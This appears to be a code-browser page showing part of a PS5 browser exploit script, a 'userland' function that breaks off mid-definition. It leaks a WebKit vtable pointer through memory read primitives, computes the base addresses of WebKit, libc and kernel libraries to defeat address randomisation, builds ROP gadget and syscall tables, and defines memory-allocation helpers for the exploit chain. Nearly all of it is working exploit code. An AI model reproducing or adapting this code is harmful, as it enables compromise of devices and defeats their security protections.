Function userland

document/en/ps5/exploit.js:61–1532

()

}

async function userland() {
    p.pre_chain = pre_chain;
    p.launch_chain = launch_chain;
    p.malloc = malloc;
    p.malloc_dump = malloc_dump;
    p.stringify = stringify;
    p.array_from_address = array_from_address;
    p.readstr = readstr;
    p.writestr = writestr;

    //pointer to vtable address
    let textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
    //address of vtable
    let textAreaVtable = p.read8(textAreaVtPtr);
    //use address of 1st entry (in .text) to calculate libSceNKWebKitBase
    libSceNKWebKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element);

    libSceLibcInternalBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk_memset_import));
    libSceLibcInternalBase.sub32inplace(OFFSET_lc_memset);

    libKernelBase = p.read8(libSceNKWebKitBase.add32(OFFSET_wk___stack_chk_guard_import));
    libKernelBase.sub32inplace(OFFSET_lk___stack_chk_guard);

    for (let gadget in wk_gadgetmap) {
        gadgets[gadget] = libSceNKWebKitBase.add32(wk_gadgetmap[gadget]);
    }
    for (let sysc in syscall_map) {
        syscalls[sysc] = libKernelBase.add32(syscall_map[sysc]);
    }

    function malloc_dump(sz) {
        let backing;
        backing = new Uint8Array(sz);
        nogc.push(backing);
        let ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }

    function malloc(sz, type = 4) {
        let backing;
        if (type == 1) {
            backing = new Uint8Array(0x10000 + sz);
        } else if (type == 2) {
            backing = new Uint16Array(0x10000 + sz);
        } else if (type == 4) {
            backing = new Uint32Array(0x10000 + sz);
        }
        nogc.push(backing);
        let ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }

    function array_from_address(addr, size) {
        let og_array = new Uint32Array(0x1000);
        let og_array_i = p.leakval(og_array).add32(0x10);